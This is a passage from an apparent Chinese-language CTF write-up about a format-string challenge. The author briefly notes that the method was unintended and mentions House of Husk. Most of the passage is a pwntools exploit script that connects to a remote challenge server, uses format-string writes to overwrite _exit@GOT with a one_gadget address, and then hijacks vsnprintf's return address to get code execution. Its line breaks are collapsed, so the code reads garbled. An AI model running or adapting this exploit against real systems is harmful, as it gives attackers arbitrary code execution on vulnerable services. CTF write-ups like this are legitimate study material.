去问了一下出题人,这么做并非预期解。如果开了 Full RELRO,那么我这个方法也能做,
只需要将劫持的指针改成 __vsnprintf_internal 的返回地址,然后将其修改成
one_gadget 就行。如果还有沙箱的话就麻烦了,按照出题的人的意思,
要靠这个办法的任意地址写,打 House of Husk,劫持printf的处理流。
defpayload(lo: int): global t if lo: t = process(EXE) if lo & 2: gdb.attach(t) else: t = remote('1.95.81.195', 8889) elf = ELF(EXE) libc = ELF('/libraries/2.35-0ubuntu3.11_amd64/libc.so.6')
ogg_bytes = p64(libc_base + 0xebc85) ptr_to_write = p64(elf.got['_exit']) info(f'Forging _exit@GOT on argv (a bit slow)...') interact(b'%9$ln') interact(f'%{u16(ptr_to_write[:2])}c%9$hn'.encode()) interact(fastfmt(b'11%5$hhn', argv_addr)) interact(f'%{u32(ptr_to_write[2:6])}c%9$n'.encode()) interact(fastfmt(b'%5$hhn', argv_addr))
# write via forged pointer on argv for i inrange(6): interact(f'{"1" * (ptr_to_write[0] + i)}%9$hhn'.encode()) # NOTE: ptr_to_write[0] is 0 interact(f'%{ogg_bytes[i]}c%{idx}$hhn'.encode())
info(f'Forging vsnprintf ret addr on argv (a bit slow)...') ptr_to_write = p64(argv_addr - 0x30) # overwrite snprintf ret addr interact(f'%{u16(ptr_to_write[:2])}c%9$hn'.encode()) interact(fastfmt(b'11%5$hhn', argv_addr)) interact(f'%{u32(ptr_to_write[2:6])}c%9$n'.encode()) interact(fastfmt(b'%5$hhn', argv_addr))
# overwrite ret addr to call _exit interact(f'%{0xef}c%{idx}$hhn'.encode(), escape=True)